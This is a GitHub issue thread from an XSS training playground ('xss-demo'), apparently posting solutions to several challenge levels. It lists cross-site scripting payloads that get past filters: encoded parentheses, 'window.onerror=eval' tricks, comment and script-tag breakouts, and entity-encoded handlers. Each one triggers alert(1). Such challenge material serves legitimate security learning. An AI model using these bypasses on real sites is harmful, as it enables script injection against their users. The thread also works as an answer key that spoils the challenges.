haozi / xss-demo

👮🏻‍♂️ XSS attack playground,there are answers in issues. XSS 攻防靶场,issues 有答案
https://xss.haozi.me
296 stars 59 forks source link

0x04 #26

Open ffffff0x opened 2 years ago

ffffff0x commented 2 years ago

0x04

过滤圆括号()以及反撇号`input.replace(/[()`]/g, '')

<script>window.onerror=eval;throw'=alert\x281\x29'</script
<iframe srcdoc="<script>parent.alert&#40;1&#41;</script>"
<svg><script>alert&#40;1&#41</script
<svg onload=alert&#40;1&#41

0x05

--!><svg onload=alert(1)>

Originally posted by @iMusic in https://github.com/haozi/xss-demo/issues/1#issuecomment-287620610

0x09

https://www.segmentfault.com"></script><svg onerror=alert(1)><script>

0x0B||0x0C

<img src onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>